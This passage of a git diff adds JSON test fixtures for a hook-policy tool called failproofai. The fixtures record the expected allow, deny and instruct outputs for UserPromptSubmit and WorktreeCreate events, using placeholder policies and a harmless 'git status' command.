null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/UserPromptSubmit/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/UserPromptSubmit/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..f1ce03e9 --- /dev/null +++ b/__tests__/parity/fixtures/factory/UserPromptSubmit/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/UserPromptSubmit/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/UserPromptSubmit/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..9c338956 --- /dev/null +++ b/__tests__/parity/fixtures/factory/UserPromptSubmit/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/UserPromptSubmit/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/UserPromptSubmit/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..20dcf6dd --- /dev/null +++ b/__tests__/parity/fixtures/factory/UserPromptSubmit/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptSubmit\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/UserPromptSubmit/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/UserPromptSubmit/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..8d6277fb --- /dev/null +++ b/__tests__/parity/fixtures/factory/UserPromptSubmit/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptSubmit\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/UserPromptSubmit/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/UserPromptSubmit/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..475ce6b9 --- /dev/null +++ b/__tests__/parity/fixtures/factory/UserPromptSubmit/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptSubmit\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/UserPromptSubmit/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/UserPromptSubmit/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..665e4d40 --- /dev/null +++ b/__tests__/parity/fixtures/factory/UserPromptSubmit/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptSubmit\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/UserPromptSubmit/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/UserPromptSubmit/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..4c3af2f4 --- /dev/null +++ b/__tests__/parity/fixtures/factory/UserPromptSubmit/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "deny", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked prompt by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/UserPromptSubmit/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/UserPromptSubmit/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..27048e29 --- /dev/null +++ b/__tests__/parity/fixtures/factory/UserPromptSubmit/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "deny", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked prompt by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/UserPromptSubmit/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/UserPromptSubmit/deny__tool-present__one-policy.json new file mode 100644 index 00000000..2488c714 --- /dev/null +++ b/__tests__/parity/fixtures/factory/UserPromptSubmit/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "factory", + "decision_kind": "deny", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked Bash by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/UserPromptSubmit/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/UserPromptSubmit/deny__tool-present__two-policies.json new file mode 100644 index 00000000..df175a1b --- /dev/null +++ b/__tests__/parity/fixtures/factory/UserPromptSubmit/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "factory", + "decision_kind": "deny", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked Bash by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/UserPromptSubmit/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/UserPromptSubmit/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..c94d58ce --- /dev/null +++ b/__tests__/parity/fixtures/factory/UserPromptSubmit/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "instruct", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/UserPromptSubmit/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/UserPromptSubmit/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..8c09e8d1 --- /dev/null +++ b/__tests__/parity/fixtures/factory/UserPromptSubmit/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "instruct", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/UserPromptSubmit/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/UserPromptSubmit/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..aa160bfb --- /dev/null +++ b/__tests__/parity/fixtures/factory/UserPromptSubmit/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "factory", + "decision_kind": "instruct", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/UserPromptSubmit/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/UserPromptSubmit/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..fb11ccc9 --- /dev/null +++ b/__tests__/parity/fixtures/factory/UserPromptSubmit/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "factory", + "decision_kind": "instruct", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/WorktreeCreate/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/WorktreeCreate/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..cc04dfd8 --- /dev/null +++ b/__tests__/parity/fixtures/factory/WorktreeCreate/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/WorktreeCreate/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/WorktreeCreate/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..392c1f74 --- /dev/null +++ b/__tests__/parity/fixtures/factory/WorktreeCreate/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/WorktreeCreate/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/WorktreeCreate/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..7df7c271 --- /dev/null +++ b/__tests__/parity/fixtures/factory/WorktreeCreate/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/WorktreeCreate/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/WorktreeCreate/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..68905024 --- /dev/null +++ b/__tests__/parity/fixtures/factory/WorktreeCreate/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/WorktreeCreate/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/WorktreeCreate/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..7ac7606a --- /dev/null +++ b/__tests__/parity/fixtures/factory/WorktreeCreate/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": 